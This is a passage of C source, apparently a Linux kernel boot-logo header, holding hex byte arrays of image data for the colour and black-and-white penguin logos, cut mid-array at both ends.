    0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b, 0x2b,
    0x39, 0x2e, 0x32, 0x33, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x33, 0x33, 0x32, 0x2e, 0x38, 0x22, 0x22,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x20, 0x21, 0x25, 0x2a, 0x2a, 0x24,
    0x22, 0x22, 0x27, 0x24, 0x27, 0x20, 0x28, 0x25,
    0x27, 0x27, 0x20, 0x22, 0x22, 0x38, 0x4d, 0x3b,
    0x2e, 0x3a, 0x32, 0x32, 0x32, 0x32, 0x32, 0x33,
    0x33, 0x33, 0x33, 0x33, 0x33, 0x32, 0x32, 0x2e,
    0x31, 0x2b, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c,
    0x2c, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c,
    0x39, 0x2e, 0x32, 0x32, 0x33, 0x33, 0x33, 0x33,
    0x33, 0x32, 0x32, 0x4d, 0x20, 0x22, 0x23, 0x27,
    0x21, 0x20, 0x20, 0x20, 0x21, 0x20, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x21, 0x25, 0x21, 0x28,
    0x22, 0x22, 0x24, 0x27, 0x27, 0x21, 0x28, 0x20,
    0x27, 0x27, 0x20, 0x28, 0x23, 0x28, 0x20, 0x20,
    0x25, 0x4d, 0x4b, 0x2e, 0x2e, 0x2e, 0x3a, 0x32,
    0x32, 0x32, 0x33, 0x33, 0x32, 0x32, 0x2e, 0x2e,
    0x31, 0x2b, 0x2a, 0x2a, 0x25, 0x25, 0x25, 0x25,
    0x25, 0x25, 0x25, 0x25, 0x25, 0x2a, 0x2a, 0x46,
    0x39, 0x2e, 0x2e, 0x32, 0x32, 0x33, 0x33, 0x32,
    0x32, 0x2e, 0x4b, 0x21, 0x20, 0x22, 0x23, 0x27,
    0x21, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x27, 0x22,
    0x23, 0x23, 0x27, 0x20, 0x27, 0x21, 0x28, 0x20,
    0x24, 0x24, 0x21, 0x28, 0x22, 0x24, 0x21, 0x20,
    0x20, 0x20, 0x24, 0x21, 0x25, 0x4b, 0x31, 0x2e,
    0x2e, 0x3a, 0x32, 0x32, 0x3a, 0x2e, 0x2e, 0x31,
    0x2a, 0x24, 0x23, 0x22, 0x23, 0x23, 0x28, 0x20,
    0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x4d, 0x31, 0x2e, 0x3a, 0x32, 0x32, 0x32, 0x32,
    0x2e, 0x4b, 0x20, 0x20, 0x28, 0x23, 0x22, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x20,
    0x21, 0x21, 0x21, 0x20, 0x21, 0x24, 0x22, 0x22,
    0x22, 0x22, 0x27, 0x27, 0x27, 0x21, 0x28, 0x20,
    0x25, 0x25, 0x24, 0x22, 0x22, 0x20, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x25,
    0x4b, 0x31, 0x2e, 0x2e, 0x2e, 0x31, 0x31, 0x4b,
    0x28, 0x22, 0x22, 0x22, 0x27, 0x20, 0x22, 0x27,
    0x21, 0x21, 0x20, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x21, 0x39, 0x31, 0x2e, 0x2e, 0x2e, 0x2e, 0x31,
    0x4b, 0x24, 0x24, 0x22, 0x23, 0x22, 0x27, 0x25,
    0x21, 0x21, 0x21, 0x20, 0x21, 0x24, 0x24, 0x20,
    0x20, 0x24, 0x20, 0x20, 0x20, 0x28, 0x23, 0x28,
    0x22, 0x22, 0x21, 0x24, 0x27, 0x21, 0x28, 0x20,
    0x24, 0x28, 0x22, 0x23, 0x27, 0x21, 0x20, 0x21,
    0x21, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x24, 0x25, 0x4b, 0x4b, 0x31, 0x4b, 0x25, 0x27,
    0x28, 0x28, 0x27, 0x25, 0x26, 0x29, 0x27, 0x22,
    0x20, 0x21, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x21, 0x2a, 0x4b, 0x4b, 0x4b, 0x4b, 0x48,
    0x28, 0x24, 0x21, 0x28, 0x22, 0x28, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x21, 0x21, 0x25, 0x25, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x22, 0x22, 0x28,
    0x27, 0x22, 0x21, 0x27, 0x28, 0x28, 0x22, 0x21,
    0x24, 0x22, 0x22, 0x28, 0x25, 0x21, 0x20, 0x20,
    0x21, 0x21, 0x20, 0x25, 0x25, 0x21, 0x20, 0x21,
    0x21, 0x20, 0x24, 0x22, 0x22, 0x27, 0x20, 0x25,
    0x2a, 0x24, 0x24, 0x21, 0x27, 0x21, 0x28, 0x23,
    0x27, 0x21, 0x20, 0x21, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x20, 0x21, 0x25, 0x28, 0x23, 0x22, 0x23,
    0x23, 0x27, 0x24, 0x22, 0x27, 0x2a, 0x25, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x20, 0x20, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x24, 0x22, 0x22, 0x28,
    0x25, 0x28, 0x28, 0x22, 0x23, 0x22, 0x22, 0x20,
    0x27, 0x23, 0x22, 0x21, 0x26, 0x20, 0x20, 0x21,
    0x20, 0x20, 0x21, 0x21, 0x20, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x24, 0x23, 0x23, 0x27, 0x21, 0x20,
    0x21, 0x20, 0x27, 0x20, 0x27, 0x21, 0x28, 0x23,
    0x28, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x20, 0x25, 0x2a, 0x20, 0x28, 0x22,
    0x22, 0x24, 0x20, 0x20, 0x2a, 0x25, 0x21, 0x21,
    0x25, 0x21, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x21, 0x20, 0x21, 0x20, 0x22, 0x22, 0x22,
    0x21, 0x2a, 0x27, 0x23, 0x23, 0x22, 0x28, 0x21,
    0x27, 0x28, 0x25, 0x29, 0x20, 0x21, 0x21, 0x20,
    0x21, 0x21, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x27, 0x22, 0x22, 0x27, 0x21, 0x27,
    0x20, 0x27, 0x27, 0x21, 0x24, 0x21, 0x28, 0x22,
    0x28, 0x21, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x20, 0x21, 0x2a, 0x2a, 0x29,
    0x27, 0x27, 0x20, 0x27, 0x27, 0x27, 0x27, 0x24,
    0x20, 0x21, 0x21, 0x20, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x21, 0x20, 0x20, 0x21, 0x27, 0x22, 0x28,
    0x21, 0x25, 0x2a, 0x20, 0x28, 0x22, 0x22, 0x21,
    0x24, 0x25, 0x29, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x21, 0x20, 0x28, 0x22, 0x27, 0x20, 0x24,
    0x20, 0x27, 0x24, 0x24, 0x27, 0x20, 0x28, 0x22,
    0x28, 0x20, 0x21, 0x21, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x21, 0x20, 0x21, 0x26,
    0x20, 0x20, 0x21, 0x22, 0x23, 0x23, 0x23, 0x23,
    0x22, 0x27, 0x20, 0x21, 0x21, 0x21, 0x20, 0x21,
    0x21, 0x20, 0x20, 0x21, 0x21, 0x22, 0x22, 0x22,
};

#endif /* !__HAVE_ARCH_LINUX_LOGO */

#ifndef __HAVE_ARCH_LINUX_LOGOBW

unsigned char linux_logo_bw[] __initdata = {
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x21,
    0x21, 0x21, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x21, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x21, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x21, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x21, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20,
